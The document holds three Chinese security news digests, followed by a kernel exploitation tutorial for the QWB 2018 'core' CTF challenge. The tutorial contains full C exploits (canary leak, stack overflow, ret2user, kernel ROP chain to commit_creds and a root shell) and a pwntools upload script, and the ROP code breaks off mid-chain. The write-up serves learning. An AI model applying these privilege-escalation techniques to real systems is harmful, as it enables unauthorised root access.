1、 TeamViewer for Windows 漏洞可让攻击者提升权限 https://cybersecuritynews.com/teamviewer-for-windows-vulnerability/ TeamViewer 的 Windows 远程客户端软件发现了一个严重的安全漏洞。此漏洞可能允许攻击者提升其在受影响系统上的权限。 该漏洞被标识为 CVE-2024-7479 和 CVE-2024-7481，影响 TeamViewer 的 Windows Remote 完整客户端和 Remote Host 产品的多个版本。 2、GenAI生成的恶意软件在野外被发现 https://cybersecuritynews.com/genai-generated-malware/ 最新的 HP Wolf 安全威胁洞察报告揭示了使用生成人工智能 (GenAI) 生成的https://cybersecuritynews.com/malware-analysis-tools/负载的出现。这标志着网络威胁形势的重大转变，因为攻击者利用先进的人工智能工具来创建更复杂、更具规避性的恶意软件。 3、Mozilla因在未经用户同意情况下在 Firefox 中启用跟踪而面临投诉 https://thehackernews.com/2024/09/mozilla-faces-privacy-complaint-for.html 总部位于维也纳的非营利性隐私组织 noyb（None Of Your Business 的缩写）已向奥地利数据保护机构 (DPA) 投诉 Firefox 制造商 Mozilla 在未明确征求用户同意的情况下启用了一项名为隐私保护归因 (PPA) 的新功能。 4、 全球汇款巨头速汇金遭网络攻击，支付服务中断约5天 https://www.secrss.com/articles/70634 全球第二大汇款公司速汇金因网络攻击导致系统故障，支付服务中断约5天时间，媒体认为该事件的特征与勒索软件攻击极为类似。 5、迪士尼遭泄露1.1TB数据后弃用Slack https://www.secrss.com/articles/70630 面对如此严重的内部数据泄露事件，迪士尼经过一系列调查和评估，决定放弃使用Slack，并转向其他内部沟通协作平台。 6、工信部发布关于防范KTLVdoor恶意软件的风险提示 https://www.secrss.com/articles/70632 近日，工业和信息化部网络安全威胁与漏洞信息共享平台（CSTIS）监测发现，黑客组织正在利用KTLVdoor新型跨平台恶意软件实施网络攻击，主要攻击目标为Windows和Linux操作系统。 7、国际联合行动：捣毁iServer钓鱼平台，逮捕全球网络犯罪分子 https://cybersecuritynews.com/operation-kaerb-masterminds/ Kaerb 行动逮捕了阿根廷、智利、哥伦比亚、厄瓜多尔、秘鲁和西班牙的 17 名网络罪犯。这项国际行动由欧洲刑警组织、Group-IB 和 Ameripol 协调。 8、Microchip ASF中的严重缺陷使 IoT 设备面临远程攻击 https://thehackernews.com/2024/09/critical-flaw-in-microchip-asf-exposes.html 该漏洞被跟踪为 CVE-2024-7490，CVSS 评分为 9.5 分（满分 10.0 分）。它被描述为 ASF 的 tinydhcp 服务器实现中基于堆栈的溢出漏洞，源于缺乏足够的输入验证。 9、全球信息窃取恶意软件操作以加密用户、游戏玩家为目标 https://www.bleepingcomputer.com/news/security/global-infostealer-malware-operation-targets-crypto-users-gamers/ 威胁行为者使用各种分发渠道，包括在线游戏、加密货币和软件中的恶意广告、鱼叉式网络钓鱼和品牌冒充，以传播 50 种恶意软件负载，包括 AMOS、Stealc 和 Rhadamanthys。 10、“蓝屏事件”后大量德国企业抛弃CrowdStrike https://www.secrss.com/articles/70511 根据德国联邦信息安全办公室（BSI）发布的最新报告，十分之一受事件影响的德国企业选择抛弃CrowdStrike，其中4%已经放弃了CrowdStrike的产品，另有6%的企业计划在不久的将来终止与CrowdStrike的合作。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、 研究人员发现安卓恶意软件Octo的新变种 https://www.threatfabric.com/blogs/octo2-european-banks-already-under-attack-by-new-malware-variant 研究人员发现安卓恶意软件Octo（ExobotCompact）出现了新变种，将其命名为Octo2，是目前传播最广泛的恶意软件家族。研究人员发现了针对欧洲国家传播Octo2的攻击活动，Octo2使用复杂的混淆技术以确保木马避免被检测到，比如使用了域名生成算法（DGA）。此外，其恶意软件开发者采取一定的措施，以提高对受感染设备的远程操作稳定性。 2、Apache Tomcat中存在拒绝服务攻击漏洞 https://cybersecuritynews.com/apache-tomcat-vulnerability/ Apache Tomcat中存在一个安全漏洞，该漏洞被标识为CVE-2024-38286，影响多个版本的Apache Tomcat，攻击者能够通过TLS握手过程触发拒绝服务（DoS）攻击。Apache软件基金会敦促使用受影响版本的用户立即采取行动以降低风险。推荐的解决方案包括升级至最新的安全版本：Apache Tomcat 11.0.0-M21或更高版本，10.1.25或更高版本，以及9.0.90或更高版本。 3、攻击者声称窃取了Oracle员工数据 https://cybersecuritynews.com/hackers-claim-leak-of-oracle-data/ 攻击者在黑客论坛中发帖称，Oracle公司的数据遭到泄露。据称，此次泄露发生于2024年9月，涉及泄露4002行员工的信息。昵称为“888”的用户发布帖子称，此次泄露事件是由于第三方漏洞导致的，泄露的数据包括敏感信息，如全名、职位、公司名称、电子邮件地址和物理地址。截至目前，Oracle尚未对该说法进行回应。该公司可能正在进行内部调查，以评估该事件的有效性。 4、Telegram 同意与刑事调查部门共享用户数据 流行的消息应用程序 Telegram 宣布了一项重大政策逆转，它将根据有效的合法请求向当局提供用户的 IP 地址和电话号码，以试图控制该平台上的犯罪活动。Telegram 首席执行官帕维尔·杜罗夫 (Pavel Durov)在一篇帖子中https://t.me/durov/345： “我们已经明确表示，违反我们规则的人的 IP 地址和电话号码可以根据有效的合法要求披露给相关部门。” https://thehackernews.com/2024/09/telegram-agrees-to-share-user-data-with.html 5、 严重的未授权RCE 漏洞影响所有 GNU/Linux 系统 https://cybersecuritynews.com/critical-unauthenticated-rce-flaw/ 发现了一个严重的未经身份验证的远程代码执行 (RCE)漏洞，影响所有 GNU/Linux 系统。根据与开发人员的协议，这个已存在十多年的漏洞将在不到两周的时间内被彻底披露。 6、美国背调公司MC2 Data发生超大规模数据泄漏 https://www.secrss.com/articles/70558 美国背景调查和公共记录服务公司MC2 Data发生了大规模数据泄露事件，暴露了该公司2.2TB的敏感数据。这些数据中包含超过1亿美国公民的个人信息。 7、 黑客攻击 Apache AXIS 服务器部署后门 https://cybersecuritynews.com/hackers-attacking-apache-axis-server/ Apache Axis 是一个 Web 服务引擎，它提供向 Web 应用程序添加 Web 服务接口的功能。 8、二维码钓鱼攻击可绕过邮件安全扫描程序并滥用 SharePoint https://cybersecuritynews.com/qr-phishing-email-security-sharepoint/ 随着威胁行为者不断调整策略以绕过电子邮件安全扫描程序， Quishing 或QR 码网络钓鱼正在迅速发展。 9、 苹果macOS新版本导致第三方EDR安全工具故障 https://www.secrss.com/articles/70477 ‍本周一，苹果发布了其最新的计算机操作系统更新，名为macOS 15，或称Sequoia红杉。根据社交媒体上的帖子以及在一个专注于Mac的Slack频道中发布的信息，这次软件更新破坏了CrowdStrike、SentinelOne、微软等公司制作的多个安全工具的功能。 10、严重 FreeBSD 虚拟机管理程序漏洞可使攻击者执行恶意代码 https://cybersecuritynews.com/freebsd-hypervisor-rce-vulnerability/ FreeBSD 虚拟机管理程序 bhyve 中发现了一个高严重性漏洞，该漏洞允许在客户虚拟机 (VM) 中运行的恶意软件在主机系统上执行任意代码。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、研究人员披露UNC1860组织进行的网络攻击活动 https://cloud.google.com/blog/topics/threat-intelligence/unc1860-iran-middle-eastern-networks/ UNC1860组织是一个由伊朗国家支持的APT组织，可能隶属于伊朗情报和安全部（MOIS）。UNC1860组织使用的技战术手段和攻击目标与Shrouded Snooper、Scarred Manticore和Storm-0861相似，这些伊朗攻击组织曾针对中东的电信和政府部门进行攻击。该组织还维护了一系列实用工具和被动后门程序，目的在于在受害者网络中获得立足点并获得长期访问权限。 2、Twelve组织针对俄罗斯进行攻击活动 https://securelist.com/twelve-group-unified-kill-chain/113877/ 研究人员发现一个名为Twelve的攻击组织，该组织使用一系列公开可用的工具针对俄罗斯进行破坏性网络攻击。研究人员称，相比于向受害者勒索赎金，Twelve组织更倾向于加密受害者的数据，然后使用擦除程序破坏他们的基础设施以防止数据恢复，这表明他们希望对目标受害者造成损害，而非获取经济利益。研究人员认为该组织成立于2023年4月，该组织在使用的基础设施和技战术方面与一个名为DARKSTAR（又名COMET或Shadow）的勒索组织有重叠，表明这两个组织可能存在一定的联系。 3、TeamTNT组织针对虚拟专用服务器进行攻击 https://www.group-ib.com/blog/teamtnt/ 研究人员发现TeamTNT组织针对基于CentOS操作系统的虚拟专用服务器（VPS）进行攻击。攻击者通过SSH暴力破解手段对受害者的机器进行攻击，然后上传一个恶意脚本，用于禁用安全功能、删除日志、终止其他加密货币挖矿进程，并阻止恢复工作。攻击者植入Diamorphine rootkit，以隐藏恶意进程，同时设置对受害者机器的持久远程访问。 4、FreeBSD的bhyve虚拟机监控程序中存在一个严重安全漏洞 https://cybersecuritynews.com/freebsd-hypervisor-rce-vulnerability/ FreeBSD的bhyve虚拟机监控程序中存在一个安全漏洞，该漏洞被标识为CVE-2024-41721，影响所有受支持的FreeBSD版本，目前已得到修复。该漏洞源于USB代码中的边界验证不足问题，可能导致堆上的越界读取，从而可能导致任意代码写入以及远程代码执行。建议用户立即对受影响的系统进行更新。 5、ESET 修补 Windows、macOS 产品中的权限提升漏洞 https://www.securityweek.com/eset-patches-privilege-escalation-vulnerabilities-in-windows-macos-products/ ESET 已发布针对 Windows 和 macOS 安全产品中两个本地权限提升漏洞的补丁。 6、Necro Trojan感染Google Play上的应用，下载量达千万 https://www.securityweek.com/necro-trojan-infects-google-play-apps-with-millions-of-downloads/ 据反恶意软件供应商卡巴斯基的报告称，Google Play 官方应用商店中两款应用程序被发现感染了 Necro 木马病毒，总下载量约为 1100 万次。 7、美国拟全面禁止联网和自动驾驶汽车使用中国和俄罗斯的软硬件 https://www.securityweek.com/ban-sought-for-chinese-russian-software-and-hardware-used-in-autonomous-vehicles-on-us-roads/ 美国商务部周一表示，正在寻求禁止在美国销售配备中国和俄罗斯软件和硬件的联网和自动驾驶汽车，目的是保护国家安全和美国驾驶员。 8、Grafana 插件SDK存在严重缺陷，导致敏感信息泄露 https://securityonline.info/cve-2024-8986-cvss-9-1-critical-grafana-plugin-sdk-flaw-exposes-sensitive-information/ 该漏洞编号为 CVE-2024-8986，CVSS 评分为 9.1，由于构建元数据包含在编译的二进制文件中，可能会导致敏感信息（例如存储库凭据）意外泄露。 9、Discord 推出 DAVE 协议，实现音频和视频的端到端加密 https://thehackernews.com/2024/09/discord-introduces-dave-protocol-for.html 流行的社交消息平台 Discord宣布推出一种新的自定义端到端加密 (E2EE) 协议来保护音频和视频通话的安全。 10、危险的API和爬虫程序攻击给全球公司造成了1860亿美元的损失 https://www.infosecurity-magazine.com/news/insecure-apis-bot-attacks-cost/ 该报告指出，API 的快速采用、内部专业知识水平低以及安全和开发团队之间的沟通不畅正在加剧问题。它表示，威胁行为者经常使用自动机器人来探测暴露、不安全和/或配置错误的 API。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

前言 本文介绍Linux内核的栈溢出攻击，和内核一些保护的绕过手法，通过一道内核题及其变体从浅入深一步步走进kernel世界。 QWB_2018_core 题目分析 start.sh qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ 开启了kaslr保护。 如果自己编译的 qemu 可能会报错network backend ‘user‘ is not compiled into this binary，解决方法就是sudo apt-get install libslirp-dev，然后重新编译 ./configure --enable-slirp。 init 解压 core.cpio(最简单的方式就是在ubuntu里，右击提取到此处)，分析 init 文件： #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko # 加载内核模块core.ko setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0  -f 第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中，那么我们就能从 /tmp/kallsyms 中读取 commit_creds，prepare_kernel_cred 的函数的地址了。 第 10 行把 kptr_restrict 设为 1，这样就不能通过 /proc/kallsyms 查看函数地址了，但第 9 行已经把其中的信息保存到了一个可读的文件中，这句就无关紧要了。 第 11 行把 dmesg_restrict 设为 1，这样就不能通过 dmesg 查看 kernel 的信息了。 第 18 行设置了定时关机，为了避免做题时产生干扰，直接把这句删掉然后重新打包。 里面还有一个 gen_cpio.sh 脚本，用于快速打包。 find . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > $1 KASLR： Kernel Address Space Layout Randomization(内核地址空间布局随机化)，开启后，允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时，内核代码段的基址为 0xffffffff81000000，direct mapping area 的基址为 0xffff888000000000。 FG-KASLR： Function Granular Kernel Address Space Layout Randomization细粒度的 kaslr，函数级别上的 KASLR 优化。该保护只是在代码段打乱顺序，在数据段偏移不变，例如 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。 Dmesg Restrictions： 通过设置/proc/sys/kernel/dmesg_restrict为1, 可以将dmesg输出的信息视为敏感信息(默认为0) Kernel Address Display Restriction： 内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。 kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限. kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限. kptr_restrict == 0 : root 和普通用户都可以读取. core.ko 检查一下保护。 ❯ checksec core/core.ko [*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'   Arch:     amd64-64-little   RELRO:   No RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x0) 使用 IDA 继续分析.ko文件。 init_module() 注册了 /proc/core，core_fops 时其注册的file_operations结构体实例，会面会做介绍。 __int64 init_module() {  core_proc = proc_create("core", 438LL, 0LL, &core_fops);  printk(&unk_2DE);  return 0LL; } exit_core()删除 /proc/core。 __int64 exit_core() {  __int64 result; // rax  if ( core_proc )    result = remove_proc_entry("core");  return result; } core_ioctl() 定义了三条命令，分别调用 core_read(), core_copy_func()和设置全局变量 off。 __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) {  switch ( a2 ) {    case 0x6677889B:      core_read(a3);      break;    case 0x6677889C:      printk(&unk_2CD);      off = a3;      break;    case 0x6677889A:      printk(&unk_2B3);      core_copy_func(a3);      break; }  return 0LL; } core_read() 从 v4[off] 拷贝 64 个字节到用户空间，但要注意的是全局变量 off 是我们能够控制的，因此可以合理的控制 off 来 leak canary 和一些地址 。 void __fastcall core_read(__int64 a1) {  __int64 v1; // rbx  char *v2; // rdi  signed __int64 i; // rcx  char v4[64]; // [rsp+0h] [rbp-50h]  /*  * canary保存在rsp+0x40的位置，  * 我们通过设置off为0x40，即可将其读取出来。  */  unsigned __int64 v5; // [rsp+40h] [rbp-10h]  v1 = a1;  v5 = __readgsqword(0x28u);  printk("\x016core: called core_read\n");  printk("\x016%d %p\n");  v2 = v4;  for ( i = 16LL; i; --i ) {    *(_DWORD *)v2 = 0;    v2 += 4; }  strcpy(v4, "Welcome to the QWB CTF challenge.\n");  if ( copy_to_user(v1, &v4[off], 64LL) )    __asm { swapgs } } core_copy_func() 从全局变量 name 中拷贝数据到局部变量中，长度是由我们指定的，当要注意的是 qmemcpy 用的是 unsigned __int16，但传递的长度是 signed __int64，因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值，就可以栈溢出了。 __int64 __fastcall core_copy_func(__int64 a1) {  __int64 result; // rax  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF  v2[8] = __readgsqword(0x28u);  printk(&unk_215);  // 这里用的jg判断，为有符号判断，0xffffffffffff0000|(0x100) 会判定为负从而绕过。  if ( a1 > 63 ) {    printk(&unk_2A1);    return 0xFFFFFFFFLL; }  else {    result = 0LL;    // 栈溢出。    qmemcpy(v2, &name, (unsigned __int16)a1); }  return result; } core_write() 向全局变量 name 上写，这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了 。 signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) {  unsigned __int64 v3; // rbx  v3 = a3;  printk("\x016core: called core_writen");  if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )    return (unsigned int)v3;  printk("\x016core: error copying data from userspacen");  return 0xFFFFFFF2LL; } 字符驱动设备 内核注册字符设备驱动设备时会用到file_operations结构体，file_operations 结构体中的成员函数是字符设备驱动程序设计的主体内容，结构体中的一些指针比如open() 、write() 、read() 、close() 等系统调用时最终会被内核调用，我们可以通过指定指针指向的内容修改其默认值为我们自定义的函数，这样我们在类似read(dev_fd, buf, 0x100)时就会调用我们自定义的my_read函数。 它还有一个指针为unlocked_ioctl，我们在用户态时可以使用系统调用ioctl去访问控制内核注册的设备（ioctl系统调用号为0x10，由rax保存，需要注意的时，系统调用和用户传参的rdi,rsi,rdx,rcx,r8,r9不同，系统调用第四个传参寄存器为r10，即rdi,rsi,rdx,r10,r8,r9）。 动态调试 为了动态调试的方便一些，我们需要做以下工作： （1）通过qemu append参数关闭 kaslr ，qemu提供了-s参数用于调试，默认端口为1234。 -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" （2）修改init脚本将权限调到 root。 ... setsid /bin/cttyhack setuidgid 0 /bin/sh ... （3）启动qemu，查看模块基地址。 / # lsmod core 16384 0 - Live 0xffffffffc0000000 (O) （4）通过 add-symbol-file core.ko textaddr 把 core.ko 符号加载进去。 #!/bin/sh gdb -q \  -ex "file ./core/vmlinux" \  -ex "file ./core/core.ko" \  -ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" \  -ex "target remote localhost:1234" ret2user 顾名思义，即返回到用户空间的提权代码上进行提权，之后返回用户态即为 root 权限。 提权方式 这里只简单介绍两种朴素的方法，第一种是通过commit_creds(prepare_kernel_cred(0))去提权，不过这种方式已经过时了，不过这道题的内核版本支持这种方法提权，prepare_kernel_cred()会将拷贝一个新的cred凭证，参数为零默认拷贝init_cred，其具有root权限。commit_cred()负责应用到进程。 第二种是 commit_cred(&init_cred)，原因是init_cred是静态定义的，我们只要找到init_cred地址便可借助commit_cred完成提权。我们通过vmlinux-to-elf bzImage vmlinux解压并恢复内核部分符号，通过逆向 prepare_kernel_cred() 函数便可轻松定位其地址。 _DWORD *__fastcall prepare_kernel_cred(__int64 a1) { _DWORD *v1; // rbx int *task_cred; // rbp v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL); if ( !v1 ) return 0LL; if ( a1 ) { task_cred = (int *)get_task_cred(a1); } else { _InterlockedIncrement(dword_FFFFFFFF8223D1A0); task_cred = dword_FFFFFFFF8223D1A0; // init_cred } [......] } 状态保存 通常情况下，我们的 exploit 需要进入到内核当中完成提权，而我们最终仍然需要着陆回用户态以获得一个 root 权限的 shell，因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作保存各寄存器的值到内核栈上，以便于后续着陆回用户态。通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中，以便于构造 rop 链： gcc 编译时需要指定参数：-masm=intel。 size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;"           );    puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); } 返回用户态 由内核态返回用户态只需要： swapgs指令通过用一个MSR中的值交换GS寄存器的内容，用来获取指向内核数据结构的指针，然后才能执行系统调用之类的内核空间程序，其也用于恢复用户态 GS 寄存器。 sysretq或者iretq恢复到用户空间 那么我们只需要在内核中找到相应的 gadget 并执行swapgs;iretq就可以成功着陆回用户态。 执行 iretq 时的栈布局。 |----------------------| | RIP                 |<== low mem |----------------------| | CS                   | |----------------------| | EFLAGS               | |----------------------| | RSP                 | |----------------------| | SS                   |<== high mem |----------------------| 所以我们应当构造如下 rop 链以返回用户态并获得一个 shell： ↓   swapgs    iretq    user_shell_addr    user_cs    user_eflags //64bit user_rflags    user_sp    user_ss 利用思路 在未开启 SMAP/SMEP 保护（后面会讲解）的情况下，用户空间无法访问内核空间的数据，但是内核空间可以访问 / 执行用户空间的数据，所以可以使用ret2user。题目给的vmlinux用于提取gadget可以，但使用IDA分析时太慢，可以用vmlinux-to-elf解压bzImage进行分析。 从 /tmp/kallsyms 读取符号地址，确认与nokaslr偏移，从vmlinux寻找gadget。 保存用户状态。 通过设置 off 读取 canary。 于内核态访问用户空间的 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。 通过 swapgs; mov trap_frame, rsp; iretq 返回用户空间，并执行 system("/bin/sh");。 exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> #define KERNCALL __attribute__((regparm(3))) /* /tmp/kallsyms 保存的符号地址，这里保存的是未开启kaslr的地址 */ void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0; void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0; void *init_cred = (void *) 0xFFFFFFFF8223D1A0; void get_shell() {    system("/bin/sh"); } void get_root() {    commit_creds(init_cred);    // commit_creds(prepare_kernel_cred(0));    asm("swapgs;"        "mov rsp, tf_addr;"        "iretq;"); } struct trap_frame {    size_t user_rip;    size_t user_cs;    size_t user_rflags;    size_t user_sp;    size_t user_ss; } __attribute__((packed)); struct trap_frame tf; size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    tf.user_rip = (size_t) get_shell;    tf.user_cs = user_cs;    tf.user_rflags = user_rflags;    tf.user_sp = user_sp - 0x1000;    tf.user_ss = user_ss;    puts("[*] status has been saved."); } int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_copy_func(size_t len) {    ioctl(core_fd, 0x6677889A, len); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } /* 计算开启kaslr后的偏移，重定位相关函数和结构体的地址 */ void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if (kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds = (void *) ((size_t) commit_creds + offset);            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);            init_cred = (void *) ((size_t) init_cred + offset);            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } size_t get_canary() {    set_off(0x40);    char buf[0x40];    core_read(buf);    return *(size_t *) buf; } int main() {    rebase();    save_status();    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Failed to open core.");        exit(-1);   }    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, '\x00', sizeof(buf));    *(size_t *) &buf[0x40] = canary;    *(void **) &buf[0x50] = get_root; // 覆盖返回地址    core_write(buf, sizeof(buf));    // jg 有符号判断，判其为负数，qmemcpy() 第三个参数取其后16位，导致溢出。    core_copy_func(0xffffffffffff0000 | sizeof(buf));    return 0; } 编译exp时需要注意，本机环境编译的exp可能无法与题目环境交互，需要使用musl-gcc或者相应版本的docker进行编译，musl-gcc有一些库不支持，但大部分情况下都是可以的。 打包脚本 本题提供了打包脚本，可以直接./gen_cpio.sh ../core_new.cpio 打包即可。如果没提供可以使用以下命令打包。 find . | cpio -o -H newc > ../rootfs.imgs 打包完成后，改回题目环境，运行脚本测试即可。发送至远程可以使用以下脚本： from pwn import * import base64 #context.log_level = "debug" with open("./exp", "rb") as f:    exp = base64.b64encode(f.read()) p = remote("127.0.0.1", 11451) #p = process('./run.sh') try_count = 1 while True:    p.sendline()    p.recvuntil("/ quot;)    count = 0    for i in range(0, len(exp), 0x200):        p.sendline("echo -n \"" + exp[i:i + 0x200] + "\" >> /tmp/b64_exp")        count += 1        log.info("count: " + str(count))    for i in range(count):        p.recvuntil("/ quot;)        p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")    p.sendline("chmod +x /tmp/exploit")    p.sendline("/tmp/exploit ")    break p.interactive() 调试 可以看到add rsp, 0x48;pop rbx后，ret指令正好执行我们用户空间的提权代码。 kernel rop without KPIT 开启 smep 和 smap 保护后，内核空间无法执行用户空间的代码，并且无法访问用户空间的数据。因此不能直接 ret2user 。利用 ROP执行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred) , 然后 iret 返回用户空间可以绕过上述保护。 添加 smep 和 smap 保护。 qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ -cpu qemu64,+smep,+smap smep： Supervisor Mode Execution Protection(管理模式执行保护)，当处理器处于 ring 0 模式，执行用户空间的代码会触发页错误。（在 arm 中该保护称为 PXN) smap： Superivisor Mode Access Protection(管理模式访问保护)，类似于 smep，当处理器处于 ring 0 模式，访问用户空间的数据会触发页错误。 利用思路 从 /tmp/kallsyms 读取符号地址，确认与nokaslr偏移，从vmlinux寻找gadget。 保存用户状态。 通过设置 off 读取 canary。 于内核空间 rop 调用 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。 通过 swapgs; popfq; ret; ，iretq 返回用户空间，并执行 system("/bin/sh");。 exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/ioctl.h> // from vmlinux size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0; size_t commit_creds = 0xFFFFFFFF8109C8E0; size_t init_cred = 0xFFFFFFFF8223D1A0; size_t pop_rdi_ret = 0xffffffff81000b2f; size_t pop_rdx_ret = 0xffffffff810a0f49; size_t pop_rcx_ret = 0xffffffff81021e53; /* * （1）如果使用 commit_creds(prepare_kernel_cred(NULL))； * 由于找不到 mov rdi, rax; ret; 这条 gadget ， * 因此需要用 mov rdi, rax; call rdx; 代替，其中 rdx 指向 pop rcx; ret; * 可以清除 call 指令压入栈中的 rip ，因此相当于 ret 。 * （2）如果使用 commit_creds(init_cred); * 则只需要 pop rdi; ret 即可。 */ size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a; size_t swapgs_popfq_ret = 0xffffffff81a012da; size_t iretq = 0xffffffff81050ac2; void get_shell() {    system("/bin/sh"); } size_t user_cs, user_rflags, user_sp, user_ss; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } int core_fd; void core_read(char *buf) {    ioctl(core_fd, 0x6677889B, buf); } void set_off(size_t off) {    ioctl(core_fd, 0x6677889C, off); } void core_copy_func(size_t len) {    ioctl(core_fd, 0x6677889A, len); } void core_write(char *buf, size_t len) {    write(core_fd, buf, len); } void rebase() {    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");    if (kallsyms_fd < 0) {        puts("[-] Failed to open kallsyms.\n");        exit(-1);   }    char name[0x50], type[0x10];    size_t addr;    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {        size_t offset = -1;        if (!strcmp(name, "commit_creds")) {            offset = addr - (size_t) commit_creds;       } else if (!strcmp(name, "prepare_kernel_cred")) {            offset = addr - (size_t) prepare_kernel_cred;       }        if (offset != -1) {            printf("[*] offset: %p\n", offset);            commit_creds += offset;            prepare_kernel_cred += offset;            init_cred += offset;            pop_rdi_ret += offset;            pop_rdx_ret += offset;            pop_rcx_ret += offset;            mov_rdi_rax_call_rdx += offset;            swapgs_popfq_ret += offset;            iretq += offset;            break;       }   }    printf("[*] commit_creds: %p\n", (size_t) commit_creds);    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred); } size_t get_canary() {    set_off(64);    char buf[64];    core_read(buf);    return *(size_t *) buf; } int main() {    save_status();    rebase();    core_fd = open("/proc/core", O_RDWR);    if (core_fd < 0) {        puts("[-] Failed to open core.");        exit(-1);   }    size_t canary = get_canary();    printf("[*] canary: %p\n", canary);    char buf[0x100];    memset(buf, '\x00', sizeof(buf));    *(size_t *) &buf[0x40] = canary;    size_t *rop = (size_t *) &buf[0x50], it = 0;        rop[it++] = pop_rdi_ret;    rop[it++] = 0;    rop[it++] = prepare_kernel_cred;    rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr    rop[it++] = pop_rcx_ret;    // rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, 